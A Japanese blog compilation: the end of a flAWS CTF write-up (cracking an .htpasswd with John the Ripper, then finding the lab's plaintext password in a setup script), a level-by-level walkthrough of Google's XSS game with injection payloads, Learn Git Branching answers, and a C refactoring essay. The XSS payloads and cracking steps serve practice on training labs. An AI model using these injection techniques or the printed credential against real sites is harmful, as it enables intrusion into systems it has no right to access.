「htpasswd 攻撃」など調べてみるとブルートフォースアタックが有効そうだということがわかったので、以前別のCTFでJWTの秘密鍵を破るのに使ったJohnTheRipperをここで使うことをひらめく(以前使ってた環境を消しちゃってたので、攻撃して学ぶJWT【ハンズオンあり】 | Money Forward Engineers' Blogを参考に再び環境構築しなおしてローカルで実行した)

$ ./john .htpasswd
~(略)~
0g 0:00:01:23  3/3 0g/s 52051p/s 52051c/s 52051C/s popchesa..popchand
0g 0:00:03:28  3/3 0g/s 48967p/s 48967c/s 48967C/s lya1069..lya1860

この後20分くらい待ったけど終わる気配がない。
rockyou.txtでの辞書型も試したけれど意味がなかった。

というわけで別の方法を探したけれど、30分調べても上手くいかなかったので降参。ヒントをみたら「In the ubuntu user's home directory is the file: '/home/ubuntu/setupNginx.sh'」と書いてあった(こんなの自力で探せるか...?)

$ cat /mnt/home/ubuntu/setupNginx.sh
htpasswd -b /etc/nginx/.htpasswd flaws nCP8xigdjpjyiXgJ7nJu7rw5Ro68iE8M

これがパスワード(ハッシュならそりゃブルートフォースできませんわ...)

ちゃんとログインもできた↓
f:id:unyamahiro:20210114113029p:plain

この問題では、スナップショットのアクセス制限を扱った。デフォルトではprivateになっているみたいだが、publicにすると今回みたいなケースが発生するよう。

XSS gameを解いた

2020年ももう残り3日ですが、実家に帰るわけでもなくやるべきことも特にないので...XSSの復習も兼ねて解いてみました(初見)


Level1
https://xss-game.appspot.com/level1

開いてみると、Googleみたいな見た目をした入力フォーム付きのページがあった。

Inject a script to pop up a JavaScript alert() in the frame below.
Once you show the alert you will be able to advance to the next level.

とりあえずHelloと入力して"search"ボタンをクリックしてみた↓
f:id:unyamahiro:20201229102325p:plain

右クリックして、”フレームのソースを表示”をクリック

<!doctype html>
<html>
  <head>
    <!-- Internal game scripts/styles, mostly boring stuff -->
    <script src="/static/game-frame.js"></script>
    <link rel="stylesheet" href="/static/game-frame-styles.css" />
  </head>

  <body id="level1">
    <img src="/static/logos/level1.png">
      <div>
Sorry, no results were found for <b>Hello</b>. <a href='?'>Try again</a>.
    </div>
  </body>
</html>

入力した文字列をbタグで太字にしているだけっぽい。そこで試しにフォームに<h1>Hello</h1>と入力してみると、今度はh1タグでHelloが表示された。

ということは<script>alert();</script>と入力すればいけそうだなって思って、試すと
f:id:unyamahiro:20201229104936p:plain

解けたっぽい。



Level2
https://xss-game.appspot.com/level2/frame

今回もalert()を挿入してポップアップを表示させるのがゴール。
そして標的にするのはチャットサービス。

今回もHelloと入力して投稿。その後h1タグをつけて再度投稿。
f:id:unyamahiro:20201229115438p:plain

前問の流れのままに"<script>alert();</script>”を試したけれども、今回は空欄になって出力されてしまった。

ここで初めてソースを確認。

html += "<blockquote>" + posts[i].message + "</blockquote";

内容を引用符で囲むという典型的なやり方でXSS回避している。
しかし、エスケープ処理などはしていない様子。

ということで、XSSでよく使われるonerrorを使って<img src=1 onerror=”alert()”>として投稿したら、次のレベルに進めるようになった。



Level3
https://xss-game.appspot.com/level2/

今回のターゲットページには、Image1,Image2,Image3の3つのタブがあって、クリックするとそれぞれ画像を1枚表示する。

タブをクリックすると、URLが
https://xss-game.appspot.com/level3/frame#1
https://xss-game.appspot.com/level3/frame#2
https://xss-game.appspot.com/level3/frame#3

という風に変化しているので、URLを使った方法とアタリをつけつつソースをみる。

<div class="tab" id="tab1" onclick="chooseTab('1')">Image 1</div>


chooseTab関数の引数によって表示画像を決めていることがわかった。
そこでchooseTab関数を眺めてみる。目をつけたのは次の一文。

<img src='/static/level3/cloud" + num + ".jpg' />


numはchooseTab()の引数で、特別な文字列処理なども特に行っていない。
ということでURLの#以降に以下の文を挿入した。
1'><img src=X onerror="alert()">'

すると
f:id:unyamahiro:20201229130733p:plain

解けた。SQLインジェクションっぽさを感じた。
( 1'&gt;&lt;img src=X onerror="alert()"&gt;'という複雑な文になってるけれど、<と>をそれぞれエスケープシーケンス: &lt と&gt に置き換えているだけです)



Level4
https://xss-game.appspot.com/level4/

今度は、タイマーサイト。整数を入力してから"Create timer"ボタンをクリックし、待機すると、設定秒数後にポップアップが出てきて時間経過を知らせてくれる。

待機中は、URLが以下のようになっている (3を設定した)
https://xss-game.appspot.com/level4/frame?timer=3

5.55と設定してからソースを見てみる

<script>
   function startTimer(seconds) {
    seconds = parseInt(seconds) || 3;
     setTimeout(function() { 
       window.confirm("Time is up!");
       window.history.back();
    }, seconds * 1000);
  }
</script>

〜略〜

<img src="/static/loading.gif" onload="startTimer('5.55') ||  alert() ||');" />

入力値をstartTimer(seconds)に渡して、それを seconds = parseInt(seconds) として処理している。前問と同じやり口でalert()をねじ込む。つまりフォームには 3'); alert(' と入力する。
f:id:unyamahiro:20201229140308p:plain



Level5
https://xss-game.appspot.com/level5/

とあるサービスのβ版ページ。まずはsignUPページに飛ぶよう指示があるので、飛んでみるとe-mail入力フォームが登場する。文字列を入力して"Next>>"ボタンをクリックすると、確認ページに飛んで、その後数秒待ってリダイレクトという流れ。

気になったのがe-mail入力画面のURL。
https://xss-game.appspot.com/level5/frame/signup?next=confirm

nextというパラメータがあってconfirmが指定されており、ここを利用すれば攻撃できそうな感じがする。ちょっと調べたら JavaScript疑似プロトコルというものが出てきて、どうやらアドレスバーからjavascriptを簡単に実行できる仕組みらしい。

ということで、以下のようにURLを指定する。
https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert('');

f:id:unyamahiro:20201229142626p:plain

解けた。



Level6
https://xss-game.appspot.com/level6/

最後の問題。

Find a way to make the application request an external file which will cause it to execute an alert().

外部のjavascriptファイルを実行しろと言われてる。ターゲットとなるサイトには特に入力フォームもなく、”Loaded gadget from /static/gadget.js”という一文が書いてあるのみ。ここでURLをみるとhttps://xss-game.appspot.com/level6/frame#/static/gadget.jsとなっていることから、「もしかしたらURLの#以下で指定したファイルを実行してくれると言うことでは?」と容易に予想を立てられる。

となると次にやるべきは「alert()の一文だけ書いたjavascriptのファイルをどこかに保存し、それを読み込ませる」ということだが、何かめんどくさそうだから別の方法を探す。根気強く20-30分くらい調べていると「data URI Scheme」というものを見つけることができた。

データURIスキーム(英語: data URI scheme)とは、あたかも外部リソースを読み込むのと同じように、ウェブページにインラインにデータを埋めこむ手段を提供するURIスキームである。

要は「alert()の一文だけ書いたjavascriptのファイルをどこかに保存し、それを読み込ませる」なんてことしなくても、URLだけで同じようなことができますよということ(多分)。試しに data:text/javascript,alert('');という一文をアドレスバーに打ち込んでみると、"alert()"と書かれたページに飛んだ。これは使えそう。

とりあえずターゲットページに戻って、URLの#以下の部分を上記に書き換えてみる。
f:id:unyamahiro:20201229151711p:plain

するとこの通り、うまくいった。



ということで無事全て解き終えることができた。
基礎的な部分を復習しつつ、新たな知見も得られたのでよかった。

Learn git branchingを一通り解いたので、その解答と所感

最近gitを学び直しました。
Learn git branchingを解いたので、その答えを書いておきます。

解いている途中で気がついたのですが...Learn git branchingには新版と旧版があり、旧版はバグで解けない問題があるそう。今回僕は4-1まで旧版で解いて、それ以降は新版で解いています。ひょっとしたら新と旧で問題も違うかも...。
(旧:https://k.swd.cc/learnGitBranching-ja/
 新:https://learngitbranching.js.org/?locale=ja


intro1 (1-1)

$ git commit
$ git commit

やるだけ。


intro2(1-2)

$ git branch bugFix
$ git checkout bugFix

ブランチ切ってcheckoutしてねという問題。
これもチュートリアルに沿ってやるだけ。


intro3(1-3)

$ git branch bugFix
$ git checkout bugFix    
$ git commit    
$ git checkout master    
$ git commit    
$ git merge bugFix

...で良いんだけども、「この問題は最短5回のコマンド実行で解けるよ」とか言われた。結論からいうと、先頭2行分を以下のように置き換えることができた。

$ git checkout -b bugFix

git checkoutに-bオプションをつけることで「ブランチ作成」と「切り替え」を1度に行うことができる。
チュートリアルではオプションについて一切触れていなかったので...その点は初学者にちょっぴり不親切だなぁとは思った。


intro4(1-4)

$ git checkout -b bugFix    
$ git commit    
$ git checkout master    
$ git commit    
$ git checkout bugFix    
$ git rebase master

前問が解ければ難しくはない。2つのブランチを1つに統合するmergeと違って、rebaseはブランチを付け替えるイメージ。


rampup1(2-1)

git checkout C4

やるだけ。

ところで、数年前に同じ問題解いた時は「コミットにcheckoutする」というのがよくわからなかった。当時は"git checkout 意味"とか調べても「作業ブランチを切り替える」みたいな解説しか目に入ってなかったので、「コミットってブランチの一種なの?」とか色々混乱した記憶がある。最近gitの内部仕様について勉強したということもあって今回は割とスッと理解できたけど...要はこういうこと↓

f:id:unyamahiro:20201211211629p:plain

ブランチはよく”コミットのまとまり”とか誤解されているけれど、言ってみればただのポインタで、HEADも(デフォルトではブランチを指している)ただのポインタ。checkoutっていうのはHEADの位置を移動させるコマンドというだけで、”ブランチ(上図では緑)”を指定すれば当然ブランチ(何度も言うけどただのポインタ)を指すようになるし、コミット(オブジェクトのhash、上図では青)を指定すればコミットを指すようになる。


rampup2(2-2)

$ git checkout bugFix^

HEADを動かすので、使うのはcheckout。相対位置指定を利用する。


rampup3(2-3)

$ git branch -f master C6    
$ git branch -f bugFix C0    
$ git checkout C1

ちょっとごちゃごちゃしているけど、「git branchの-fオプションで各ブランチの位置を変更し」「checkoutでHEADをずらす」だけ。


rampup4(2-4)

$ git reset local^    
$ git checkout pushed    
$ git revert pushed    

以下の記事が参考になった。
git reset 解説 - Qiita
【gitコマンド】いまさらのrevert - Qiita


rebase1(3−1)

$ git checkout bugFix    
$ git rebase master    
$ git checkout side    
$ git rebase bugFix    
$ git checkout another    
$ git rebase side    
$ git checkout master    
$ git rebase another

最初はこう解いた。実行したコマンドは8回。
しかし最短だと7回になるということだったので....このうちの2つの命令を1つに統合できるのかなと考えた。とはいえ1-2行目,3-4行目,5-6行目,7-8行目はやってることほぼ同じで、「checkoutしてrebaseする」という作業を繰り返しているだけなので、もしこの手順を1つのコマンドで実現できるならば最短は4回ということになるし...悩んだ。

まぁとりあえずcheckoutとrebaseを省略できる方法があるか調べてみた。
rebaseの公式ドキュメント見ていると、

git rebase [basebranch] [topicbranch]

みたいに引数を2つ指定すればcheckoutしなくてもいいと書いてあったので、とりあえず試してみる。

$ git rebase master bugFix    
$ git rebase bugFix side    
$ git rebase side another    
$ git rebase another master

これで解けた(最短7回とは?)


rebase2(3−2)

#模範(最短)解答ではありません
$ git rebase -i one    #UI上で順序を変更してC5削除
$ git branch -f master C5  
$ git rebase -i two    #UI上で、順序を変更
$ git branch -f master C5    
$ git branch -f one C’     
$ git branch -f two C2’’     
$ git branch -f three C2 

初めて問題を見た時、数分考えたけどまったく分からなかった。今までの応用というよりは新しいコマンドやオプションを使うんだろうなと思ったので、まずは調べてみることにした。

問題文の中で「コミットの順序を変更」という一文があったのでそれをキーワードにして検索してみる。するとrebaseの-iオプションを使えばこれを実現できることがわかったので、試しに「git rebase -i two」と入力してみたらコミットの順序変更のUIが表示された。ただ...UIの不具合か分かんないけどドラッグ&ドロップが上手くいかなかった(現場とかだとUIじゃなくてエディタで作業するみたいなので本質的な所じゃないなと思ってスルー)

ともあれ、だいたい勝手はわかったので、ブランチone,ブランチtwo,ブランチthreeとそれぞれ処理していった。先述のバグのせいで正解することはできなかったけど、上に示した手順でやればきっと問題ない(はず)。

一つ気になるのは...無駄な作業もありそうだなぁという点。なんとなく省略できる気がするけど...よくわからなかった

...一応模範解答も確認しておこうと思って、「show solution」というコマンドを実行した(これの存在をもっと早く知りたかった)

$ git checkout one    
$ git cherry-pick C4 C3 C2    
$ git checkout two    
$ git cherry-pick C5 C4 C3 C2    
$ git branch -f three C2

cherry-pickとかいう完全初見のコマンド使ってた。どうやら「必要なコミットだけを取り込む」コマンドっぽい。機会があったら別の問題で使ってみようと思った。


mixed1(4−1)

$ git checkout master    
$ git cherry-pick C4

あれ...? これ絶対3-2と出題の順番間違えてない...?


余談
ここでLearn git branchingが実は2つ(新版と旧版)があることに気付きました。
ここから新しい方で解いています。
(旧:https://k.swd.cc/learnGitBranching-ja/
 新:https://learngitbranching.js.org/?locale=ja


mixed2(4−2)

$ git rebase -i master
$ git commit --amend
$ git rebase -i master
$ git branch -f master C3’’

過去のコミットにちょっとした修正を加えたい時に「コミットの順序を入れ替えてから”commit --amend”して、その後順番をもとに戻す」という方法があるのを知った。聞いた感じ便利そうだし(コンフリクトに気をつける必要はありそうだけど)、直感的にもわかりやすかったのでスムーズに解けた。


mixed3(4−3)

$ git checkout master
$ git cherry-pick C2
$ git commit --amend
$ git cherry-pick C3

前問をcherry-pickで解くという問題。特筆事項なし。


mixed4(4−4)

$ git tag v0 c1
$ git tag v1 c2
$ git checkout c2

久々のやるだけ問題。
タグの使い方に慣れる。


mixed5(4−5)

$ git commit 

ここは、問題を解くというわけではなくて「git describe」に慣れるためにある。例えば「 "git describe C4"と入力したらどんな結果になるかな」と予め予想を立ててから実際に実行して確かめてみるときっとイメージが掴みやすいと思う。


advanced1(5−1)

$ git rebase master bugFix
$ git rebase bugFix side
$ git rebase side another
$ git rebase another master

今までの復習


advanced2(5−2)

$ git branch bugWork HEAD~^2~

HEADから目的地まで一回の命令だけで到達する問題。
当然ながら解答は上記以外にも何通りか存在する(HEAD^^2^とか)


advanced3(5−3)

$ git rebase -i one
$ git branch -f master C5
$ git rebase -i two
$ git branch -f master C5
$ git branch -f three C2
$ git branch -f two C2''
$ git branch -f one C2'

多分3-2と全く同じ問題(↑の解法はその時のもの)
これをcherry-pickで解いてみた。

$ git checkout one
$ git cherry-pick C4 C3 C2
$ git checkout two
$ git cherry-pick C5 C4 C3 C2
$ git branch -f three C2

より短くなった。


ひとまずmain編は解き終えたので、Remote編はまた今度挑戦します。とりあえず一通り解いてみて、gitのコマンドを理解したり 初学者がイメージを固めたりするのにはちょうどいい教材だと思いました。ただ、良くも悪くも直感的すぎる(現場で使用するのとはちょっと隔たりがある)ので、実際にgitに触れたりケーススタディをする等、もうワンステップがないと”使いこなす”ことは難しいと感じています。


ここからは余談ですが...
今回やったLearn git branchingでは、コミットのハッシュが"C1"みたいなすごく単純な形で表されていました。しかし実際のgitでは、(ご存知の方も多いでしょうが)コミットのハッシュは08ab3...42270みたいな、16進数の長さ40の文字列で表されています。僕が初めてgitを勉強した時は、この”ごちゃごちゃした値”が至る所に出てくるのが受け入れられず(でもなんか意外といろんな所で使われるから蔑ろにするわけにもいかず)もやもやした気持ちで勉強していました。ですがこの"ハッシュアレルギー"を、僕はgitの内部構造を勉強したおかげで克服することができました。仕様を知ることで、、ハッシュの意味等もより深く理解できるようになり、gitがどのように情報を扱っているのかもわかるようになりました。参考URLを張っておきますので気になる方はみてみてください。

参考:
画像つきでわかりやすくまとめられているブログです:
Git の仕組み (1) - こせきの技術日記


公式ドキュメント10章:
Git - 配管(Plumbing)と磁器(Porcelain)

リーダブルコードを読んで過去の自分のコードをリファクタリングしてみた

リーダブルコードを読んでみて、理解定着のために自分のコードをリファクタリングをしてみました。今回僕が目指したのは「正しさ」というよりは「自分の理解」なので、温かい目で見てもらえると嬉しいです。

さて今回使用したコードですが、私が学部2年の時にC言語で書いた"メモリ管理シミュレーション"で、ざっくりと説明すると、OSのメモリ管理アルゴリズム(ファーストフィットとベストフィット)を視覚的に捉えられるようにするためのプログラムです。もちろん本当にメモリ操作をしているというわけではなくて、メモリに見立てた図を標準出力するだけです。

プログラムを実行すると、コマンド入力が求められます。
利用可能なコマンドは以下の通りです。

コマンド 使い方 意味
a a メモリサイズ "メモリサイズ" 分のメモリを割り当てる
d d ノードID "ノードID" で指定したノードを解放する
c c 空きセグメントをまとめる(デフラグ)
p p ノードリストを表示する

動作イメージ

はじめに容量64KBのメモリが以下のように存在していて

----------------64(H)----------------

ここに「a 4」というコマンドを入力すると(プロセスに4KB分を割り当てると)

-4(P)- ----------60(H)---------------

というふうに空きセグメントを分割して割り当てます(P:プロセス,H:空きスペース)

※メモリ管理のアルゴリズムには(代表的なOSのメモリ管理アルゴリズムである)First-fitとBest-fitが利用可能で、デフォルトではFirst-fitを利用するようになっています。実行時に -bオプションを付与することによりBest-fitに変更することができます。


割り当てたプロセスにはIDが設定されており、この値は0から始まって自動でインクリメントされていきます。このIDはプロセスを解放するときに使用され、先ほどの例であれば「d 0」のように入力すれば

-----------------64(H)---------------

となります。


ちなみに、先ほどのコマンド一覧で登場した「p」コマンドを使用すると、
その時点でのメモリの状況を確認することができます。

command:p
  P(0 0 5) P(1 5 6) P(2 11 8) H(19 45) 
 |PPPPP|PPPPPP|PPPPPPPP|HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH|

上記が実行例です。メモリの状態は

P(ID,開始アドレス,サイズ) H(開始アドレス,サイズ)

という表記でまず示され、続く1行で'P'or'Hで表されています(全64文字)。

実際は、pコマンドを毎回実行せずとも、aまたはdコマンドを実行した際にpコマンドも自動で呼び出されます。


次に説明するのはcコマンドです。これは断片化した空き領域を統合するコマンドで、一番わかりやすい言葉で置き換えると"デフラグ"です(ただ、dコマンドは既に別のコマンドとして使用しているため、compactionから"c"を取ってきています)

例えばメモリが以下のような状態であったとします

-4(P)- -4(H)- -20(P)- ----18(H)---- ---18(P)---

この状態でcコマンドを利用すると、断片が整理されて

-4(P)- -20(P)- ---18(P)--- --------22(H)-------

という状態になります。


コマンドの説明は以上ですが...実はこのプログラムにはもう1つ機能があります。

このプログラムは当初、First-fitとBest-fitのどちらが優れているかを調べるため(の指標を得るため)に書きました。一般に、First-fitは「メモリ効率は悪いが早い」Best-fitは「メモリ効率は良いが遅い」と言われており、僕はこの”効率”と”早さ”について調べるために、compaction()が実行された回数や連結リストを辿った回数などを記録しています。

という訳で、プログラムを終了時にこの統計情報も出力されるようになっています
(なお、-dオプションをつけて実行すると毎コマンド実行時に統計情報が出力されます)

コード

リファクタリング前:
Programs/MEM_ALLOC.c at master · ymhr-u/Programs · GitHub
リファクタリング後:
Programs/MEM_ALLOC_FIXED.c at master · ymhr-u/Programs · GitHub

(このリポジトリは、僕が学部時代に授業や課外で実装したコードをまとめたもの)

リファクタリング前のものは、パッと見ただけでも読みにくいということがわかると思います。変数の名前も使い方も雑だし、必要なコメントが無いのに不必要なコメントが残っていて...実際自分もリファクタリングをしようと2年ぶりに見返した時に嫌になりました。

変更点

変数名(関数名)

リーダブルコードでも、変数名については色んなところで言及されています。わかりやすいコードを書く上で、変数名を適当に設定することは許されません。

今回、相当な数の(8割以上?の)変数名を変更したのでそれを一から説明しても良いのですが...さすがにとんでも無い文量になるので、1つだけピックアップして紹介したいと思います。

ダメな変数名の例

int alloc_flag;  /*ここが1の状態でallocate()を実行するとbest_fitを実行*/

コメントもつけていますが要はフラグ変数です。intで定義しているという点はいったん置いておいて(C言語なのでbool型がありません)、"alloc_flag"という名前を見て「メモリ管理のアルゴリズムを切り替える変数なんだな」と理解できる人がいるとは思えません。
せめて"flag_bestfit"とかであれば最低限の意図は汲み取ってもらえるかもしれませんが...仮にそうであったとしても、「値が0の時にbest_fitなのか、1の時にbest_fitなのか」までは明確に伝えられません。役割を誤解なく的確に伝えられる名前が最適なので、それを考慮して今回は

int do_bestfit; /*フラグ変数:TRUEの状態でallocate()を実行するとbest_fitを実行*/

と書き換えました(#define TRUE 1として定義しました)

この他にも例えば、

  • 同じスコープで同じ役割を持つ変数が違う名前で定義されていたり
  • ループ変数で外側にj、内側にiを使っていたり
  • 使いもしない変数が至る所に散らばっていたり

といった感じでとにかく酷かったです。全部説明したいのですが...文字数がとんでもないことになる(実際書いたら数万字になった)ので省きます。コードを見て確認していただけますと幸いです。参考までに、変更した変数名はこの記事の最後に一覧でまとめておきます。

形による見やすさ

今回リファクタリングしてみて、意外と大切だなって感じたのが「形」です。
まずは、リファクタリング前の以下のコードを見てください。

new->begin = x->begin+size ;
new->segment=-1;
new->size=x->size-size;
new->prev  = x;
new->next  = x->next;

x->next= new;
x->segment  = segno++;
x->size = size;

これはallocate関数の中から抜粋しました。xとnewはポインタであるため、中の要素にアクセスするのには->(アロー)を使います。ぱっと見、ごちゃごちゃしてるという印象を受けるかと思います。

これ、=の位置を縦に揃えるだけでかなり見やすくなります。

new_segment -> segment_id    = -1;
new_segment -> begin_address = found_segment -> begin_address + requested_mem_size;
new_segment -> size          = found_segment -> size - requested_mem_size;
new_segment -> prev_node     = found_segment;
new_segment -> next_node     = found_segment -> next_node;

 found_segment -> segment_id = seg_id_counter++;
 found_segment -> size       = requested_mem_size;
 found_segment -> next_node  = new_segment;

実際は、変数名が長くなっていますし見づらくなってもおかしくないんですが、スッと理解できるようになっていると思います。場合によってはここからさらに():丸括弧で囲むというのもいいと思います。例えば2行目右辺を↓みたいに。

 (found_segment -> begin_address) + requested_mem_size; 

まぁどこまでやるかは人それぞれだと思いますが、常に意識しておくのは大切です。


あとコード整形というところでいうと、今回はブロック{}の改行位置とかも意識しました。例えば、if文を書くだけでも

//1
if(){}

//2
if(){
}

//3
if()
{
}

...のように改行の仕方は様々です。

今まで自分は1,2つをよく使っていました。ただ、ネストが深くなったりブロック内部の行数が増えた時に、3つ目を使った方が見やすいと感じるケースもあって、そのあたりの使い分けがとても難しく感じました。また「自分にとって読みやすいと思っても、統一性がなければひょっとしたら他の人からは汚く見えるかもしれない...」とかも考え、いろいろ試して、最終的に行きついたルールは

  • 1,2行程度の短いブロックになるなら2番目を使う
  • それ以上の行数になるなら3番目を使う

...で、原則これに則ってリファクタリングしました。
が、これが正解かと言われると難しいですね。

会社でコード書くことになったら恐らくコーディング規約とかあると思いますし、基本的にはそれを守るかたちでいいのかなと思っています。

コメント

意識したのは「コードの動作をそのまま説明したコメントは基本的に書かない」ということです。本の中では”上位レベルのコメント”とも言われていましたが、つまりは「動作そのものを説明するのではなく、その動作の意味や目的を説明する」ということを心がけていました。

そういった意味で言うと、修正前のコードには”良い”コメントはほとんどなく、「なぜか日本語と英語のコメントが混在していて」「説明が不親切すぎて伝わらない」...そんなものばかりでした。

とは言え、いざ良いコメントを書こうと意識してみても...それが意外と難しいことに気付きました。必要以上にコメントを残してしまうと見づらくなってしまうし、そもそも上位レベルのコメントってどの程度まで上位である必要があるのか...などいろいろ考えさせられました。

今回どんなコメントを書いたのかに関しては、修正後のプログラムをご確認いただければと思います。


構造

先ほど言及した ”形による見やすさ” とちょっと似た話かもしれませんが、ここで言及するのはそういった表面的なものではなくて、「制御フロー」「巨大な式の分割」「下位問題や汎用コードの抽出」といった、より内部的な整形になります。

今回のリファクタリングでも結構な量の改善点が見つかりました。
例えばこの処理

// switch文のcase 'a'から抜粋しました↓

if(bflag){
	printf("allocate %dKB (best fit)\n",a);
	alloc_flag = 1;
	if(a<=0){printf("allocate size error\n");}
	else{allocate(a);}
	a = -1;
	break;
}else{
	printf("allocate %dKB (first fit)\n",a);
	alloc_flag =0;
	if(a<=0){printf("allocate size error\n");}
	else{allocate(a);}
	a = -1;
	break;
}

そもそも改行位置や変数名などに問題があって見にくいのですがこの処理では、bflagの値によって、メモリをFirst-fitで割り当てるかBest-fitで割り当てるかを判断しています。このbflagは、実は冒頭に出てきたalloc_flagという変数と全く同じはたらきをする変数で、そもそも存在意味がありません。むしろ同じ役割の変数が2つ以上存在していることによって混乱する人が出てくるという意味で"悪い"変数です。

また、全体の構造について見てみると、if{}の中身とelse{}の中身がほとんど同じなので、共通部分はまとめてしまった方がすっきりするし確実に読みやすくなります。改善したものが↓になります。

// aという変数名は、後ほどrequest_sizeという名前に変えてますが、
//上記コードとの比較のためにあえてaのままで残しています。

if (a <= 0){
       printf("Can't allocate. Request size is too small.\n");
       break;
}

if (do_bestfit){
      printf("allocate %dKB (best fit)\n", a);
}else{
      printf("allocate %dKB (first fit)\n", a);
}

allocate(a);
break;

これだとどうでしょうか。かたまりが小さくなった分、読みやすくなったと思います(修正前のコードがひどすぎただけとも言えそうですが、まぁ数年前に書いたコードなので...)

こんな感じの修正を全体的に施していく過程で、プログラムの構造をはっきりと捉えられるようになり、無駄な処理を取り除くこともでき、バグまで発見できました。ちなみに今回はプログラムを1つのファイルにまとめてしまっているため1つのファイルがとても長くなっていますが、ヘッダや実装を分けることでもっと見やすくなります(今回はそこまでやっていません)

感想

もうすでに6500字超えちゃってるのでさすがにこれ以上は書きませんが、「コードをきれいに書く」というたったそれだけのことでも相当頭を使うというのが今回のことで本当によくわかりました(今までそういったことをサボっていたから余計にそう感じるんだと思いますが...)

修正前のコードはきっと自分で書いたものじゃなければまともに読めなかったと思いますし、さすがにそういったコードを社会に出て書くわけにはいかないので...今回とてもいい機会になりました。修正後のコードが「読みやすい」かどうかはわかりませんが、少なくとも意識的な部分の矯正はできたと思います。


ー参考ー
以下、変数名の変更箇所一覧です(抜けがあるかもしれません)

外部変数

修正前 修正後 意味
segno seg_id_counter 新規ノード作成時に割り当てるセグメント番号のカウンタ変数
debug -削除- (do_debug変数と同じ)
n_alloc num_allocation allocate()を実行した回数
n_dealloc num_deallocation deallocate()を実行した回数
n_traverse num_taverse allocate() でリンクをたどった回数の積算
alloc_flag do_bestfit フラグ変数:TRUEの状態でallocate()を実行するとbest_fitを実行
total_req_size total_reqested_size allocate()で要求されたメモリサイズの積算
non_exist_seg num_notExist_segID deallocate(id)で、id指定されたセグメントが存在しなかった回数
not_enough_mem -削除- (num_oversize_reqestと同じ)
n_compaction num_compaction compaction()を実行した回数
over_size num_oversize_reqest 空セグメントのサイズ合計以上の要求を行った回数
dflag do_debug フラグ変数:TRUEにすると、allocate()実行ごとに統計表示
bflag -削除- (do_bestfitと同じ)

main() 内

修正前 修正後 意味
cmd cmd 入力コマンド
a arg 入力引数

allocate(), deallocate()内

修正前 修正後 意味
size requested_mem_size 割り当てるメモリサイズ
num_seg target_id 削除対象のセグメントID
x found_segment first-fit/best-fitで見つけた空きセグメント
new new_segment メモリ分割後に空きになるセグメント
cur index_node ループ変数として使われるnode型変数

merge(), compact()内

修正前 修正後 意味
p deleted_node 削除されたnode
tail_node(新規追加) 連結リストの末尾node
before_begin -削除- (使われないのに宣言されていた)
after_begin -削除- (使われないのに宣言されていた)